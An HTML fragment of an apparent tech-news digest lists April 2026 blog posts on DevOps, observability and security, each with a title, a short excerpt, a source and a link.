            </svg>
          </button>
        </h3><p>The release of Red Hat Ansible Automation Platform 2.6 marks a pivotal milestone. Before you begin your upgrade, there are 3 key things you need to know to make your transition smoother:This is the la</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/planning-your-upgrade-path-ansible-automation-platform-26"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-bun-as-a-runtime-for-pulumi" class="group relative scroll-mt-24">
        <a href="#h3-introducing-bun-as-a-runtime-for-pulumi" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing Bun as a Runtime for Pulumi
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-bun-as-a-runtime-for-pulumi"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Last year we added support for Bun as a package manager for Pulumi TypeScript projects. Today we’re taking the next step: Bun is now a fully supported runtime for Pulumi programs. Set runtime: bun in </p>
<p><strong>📅 Apr 8, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/introducing-bun-as-a-runtime-for-pulumi/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-observability" class="group relative scroll-mt-24">
        <a href="#h2-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📊 Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-the-5-best-logging-libraries-for-golang" class="group relative scroll-mt-24">
        <a href="#h3-the-5-best-logging-libraries-for-golang" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The 5 best logging libraries for Golang
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-5-best-logging-libraries-for-golang"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We explore Zap, Zerolog, Slog, apex/log, and Logrus.</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/the-5-best-logging-libraries-for-golang/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-opentelemetryio-2025-review" class="group relative scroll-mt-24">
        <a href="#h3-opentelemetryio-2025-review" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 OpenTelemetry.io 2025 review
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-opentelemetryio-2025-review"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As 2025 has come to an end, we’re taking a moment to look back at everything the community accomplished across the website, documentation, and localization efforts. The year was another exciting chapt</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 OpenTelemetry Blog</strong></p>
<p><a href="https://opentelemetry.io/blog/2026/2025-year-in-review/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-obi-gives-incident-response-the-request-context-it-needs" class="group relative scroll-mt-24">
        <a href="#h3-obi-gives-incident-response-the-request-context-it-needs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 OBI Gives Incident Response the Request Context It Needs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-obi-gives-incident-response-the-request-context-it-needs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When incidents are active, traces usually tell you that something is wrong. The harder problem is figuring out who is affected and why, quickly. OpenTelemetry eBPF Instrumentation (OBI) v0.7.0 adds HT</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 OpenTelemetry Blog</strong></p>
<p><a href="https://opentelemetry.io/blog/2026/obi-http-header-enrichment/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-sample-ai-traces-at-100-without-sampling-everything" class="group relative scroll-mt-24">
        <a href="#h3-sample-ai-traces-at-100-without-sampling-everything" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Sample AI traces at 100% without sampling everything
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-sample-ai-traces-at-100-without-sampling-everything"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A little while ago, when agents were telling me “You’re absolutely right!”, I was building webvitals.com. You put in a URL, it kicks off an API request to a Nex...</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/sample-ai-traces-at-100-percent-without-sampling-everything/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-tired-of-reviewing-traces-meet-automatic-issue-detection-for-your-agent" class="group relative scroll-mt-24">
        <a href="#h3-tired-of-reviewing-traces-meet-automatic-issue-detection-for-your-agent" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Tired of Reviewing Traces? Meet Automatic Issue Detection for Your Agent
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-tired-of-reviewing-traces-meet-automatic-issue-detection-for-your-agent"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Observability has become a norm for AI agents in production. But recording logs, metrics, and traces alone doesn&#39;t make the user experience better. You need to act on the data.</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 MLflow Blog</strong></p>
<p><a href="https://mlflow.org/blog/issue-detection"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-business-metrics-in-grafana-cloud-get-an-ai-assist-to-help-securely-analyze-your-data" class="group relative scroll-mt-24">
        <a href="#h3-business-metrics-in-grafana-cloud-get-an-ai-assist-to-help-securely-analyze-your-data" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Business metrics in Grafana Cloud: Get an AI assist to help securely analyze your data
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-business-metrics-in-grafana-cloud-get-an-ai-assist-to-help-securely-analyze-your-data"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>For today&#39;s modern businesses, the data landscape demands security and flexibility. You need to connect your observability platform to rich, proprietary datasets that often reside in private networks </p>
<p><strong>📅 Apr 8, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/business-metrics-in-grafana-cloud-get-an-ai-assist-to-help-securely-analyze-your-data/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-inside-adobes-opentelemetry-pipeline-simplicity-at-scale" class="group relative scroll-mt-24">
        <a href="#h3-inside-adobes-opentelemetry-pipeline-simplicity-at-scale" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Inside Adobe's OpenTelemetry pipeline: simplicity at scale
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-inside-adobes-opentelemetry-pipeline-simplicity-at-scale"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As part of an ongoing series, the Developer Experience SIG interviews organizations about their real-world OpenTelemetry Collector deployments to share practical lessons with the broader community. Th</p>
<p><strong>📅 Apr 8, 2026</strong> • <strong>📰 OpenTelemetry Blog</strong></p>
<p><a href="https://opentelemetry.io/blog/2026/devex-adobe/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-staying-secure-an-inside-look-at-zabbix-security-advisories" class="group relative scroll-mt-24">
        <a href="#h3-staying-secure-an-inside-look-at-zabbix-security-advisories" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Staying Secure: An Inside Look at Zabbix Security Advisories
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-staying-secure-an-inside-look-at-zabbix-security-advisories"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Security has always been a core priority for us at Zabbix. As part of our ongoing commitment to delivering a reliable and secure monitoring platform, we regularly publish security advisories that refl</p>
<p><strong>📅 Apr 8, 2026</strong> • <strong>📰 Zabbix Blog</strong></p>
<p><a href="https://blog.zabbix.com/staying-secure-an-inside-look-at-zabbix-security-advisories/32831/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-query-fair-usage-in-grafana-cloud-what-it-is-and-how-it-affects-your-logs-observability-practice" class="group relative scroll-mt-24">
        <a href="#h3-query-fair-usage-in-grafana-cloud-what-it-is-and-how-it-affects-your-logs-observability-practice" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Query fair usage in Grafana Cloud: What it is and how it affects your logs observability practice
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-query-fair-usage-in-grafana-cloud-what-it-is-and-how-it-affects-your-logs-observability-practice"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In Grafana Cloud we use a simple yet generous formula that lets you query up to 100x your monthly ingested log volume in gigabytes for free. This works for the vast majority of our customers, but if y</p>
<p><strong>📅 Apr 7, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/query-fair-usage-in-grafana-cloud-what-is-it-and-how-it-affects-your-logs-observability-practice/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-agent-observability-the-developers-guide-to-agent-monitoring" class="group relative scroll-mt-24">
        <a href="#h3-ai-agent-observability-the-developers-guide-to-agent-monitoring" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI agent observability: The developer's guide to agent monitoring
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-agent-observability-the-developers-guide-to-agent-monitoring"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most &quot;agent observability best practices&quot; content reads like a compliance checklist from 2019 with &quot;AI&quot; pasted over &quot;microservices.&quot; Implement comprehensive log...</p>
<p><strong>📅 Apr 7, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/ai-agent-observability-developers-guide-to-agent-monitoring/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-observability-in-go-where-to-start-and-what-matters-most" class="group relative scroll-mt-24">
        <a href="#h3-observability-in-go-where-to-start-and-what-matters-most" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Observability in Go: Where to start and what matters most
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-observability-in-go-where-to-start-and-what-matters-most"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Sometimes the hardest part of debugging a system isn’t fixing the problem—it’s figuring out what’s actually happening in the first place. In this episode of “Grafana’s Big Tent” podcast, host Mat Ryer</p>
<p><strong>📅 Apr 6, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/observability-in-go-where-to-start-and-what-matters-most/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-cloud-monitoring-best-practices-for-reliable-unified-observability" class="group relative scroll-mt-24">
        <a href="#h3-cloud-monitoring-best-practices-for-reliable-unified-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Cloud Monitoring Best Practices For Reliable, Unified Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cloud-monitoring-best-practices-for-reliable-unified-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn cloud monitoring best practices to reduce blind spots, improve reliability, and resolve issues faster in complex environments with New Relic.</p>
<p><strong>📅 Apr 6, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/infrastructure-monitoring/cloud-monitoring-best-practices"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-security" class="group relative scroll-mt-24">
        <a href="#h2-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔐 Security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="group relative scroll-mt-24">
        <a href="#h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Threats Making WAVs - Incident Response to a Cryptomining Attack
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/threats-making-wavs-incident-reponse-cryptomining-attack"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-cloudwatch-pipelines-introduces-new-compliance-and-governance-capabilities" class="group relative scroll-mt-24">
        <a href="#h3-amazon-cloudwatch-pipelines-introduces-new-compliance-and-governance-capabilities" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon CloudWatch pipelines introduces new compliance and governance capabilities
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-cloudwatch-pipelines-introduces-new-compliance-and-governance-capabilities"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon CloudWatch pipelines now includes new compliance and governance capabilities to help you maintain data integrity and control access when processing logs. CloudWatch pipelines is a fully managed</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/cloudwatch-pipelines-compliance-governance/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-whats-new-in-security-for-ubuntu-2604-lts" class="group relative scroll-mt-24">
        <a href="#h3-whats-new-in-security-for-ubuntu-2604-lts" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What’s new in security for Ubuntu 26.04 LTS?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-whats-new-in-security-for-ubuntu-2604-lts"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Here’s a concise excerpt you can use: &gt; Ubuntu 26.04 LTS significantly raises the security baseline by strengthening defaults across every layer of the system without requiring manual intervention. Ke</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/ubuntu-26-04-lts-security-updates"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-harness-waap-mcp-server-ai-native-access-to-security-data" class="group relative scroll-mt-24">
        <a href="#h3-harness-waap-mcp-server-ai-native-access-to-security-data" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Harness WAAP MCP Server: AI-Native Access to Security Data
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-harness-waap-mcp-server-ai-native-access-to-security-data"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Harness WAAP MCP Server bridges security data and AI workflows using the Model Context Protocol (MCP). Get real-time insights via natural language prompts to power custom AI workflows and executive re</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/unlocking-security-potential-for-ai-introducing-the-harness-waap-mcp-server"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-governing-security-in-the-age-of-infinite-signal-from-discovery-to-control" class="group relative scroll-mt-24">
        <a href="#h3-governing-security-in-the-age-of-infinite-signal-from-discovery-to-control" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Governing Security in the Age of Infinite Signal – From Discovery to Control
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-governing-security-in-the-age-of-infinite-signal-from-discovery-to-control"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI can find vulnerabilities at scale, but enterprise security now depends on control, validation, and governance that can keep up.</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/from-discovery-to-control/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-cloudflare-targets-2029-for-full-post-quantum-security" class="group relative scroll-mt-24">
        <a href="#h3-cloudflare-targets-2029-for-full-post-quantum-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Cloudflare targets 2029 for full post-quantum security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cloudflare-targets-2029-for-full-post-quantum-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Recent advances in quantum hardware and software have accelerated the timeline on which quantum attack might happen. Cloudflare is responding by moving our target for full post-quantum security to 202</p>
<p><strong>📅 Apr 7, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/post-quantum-roadmap/"><strong>🔗 Read more</strong></a></p>
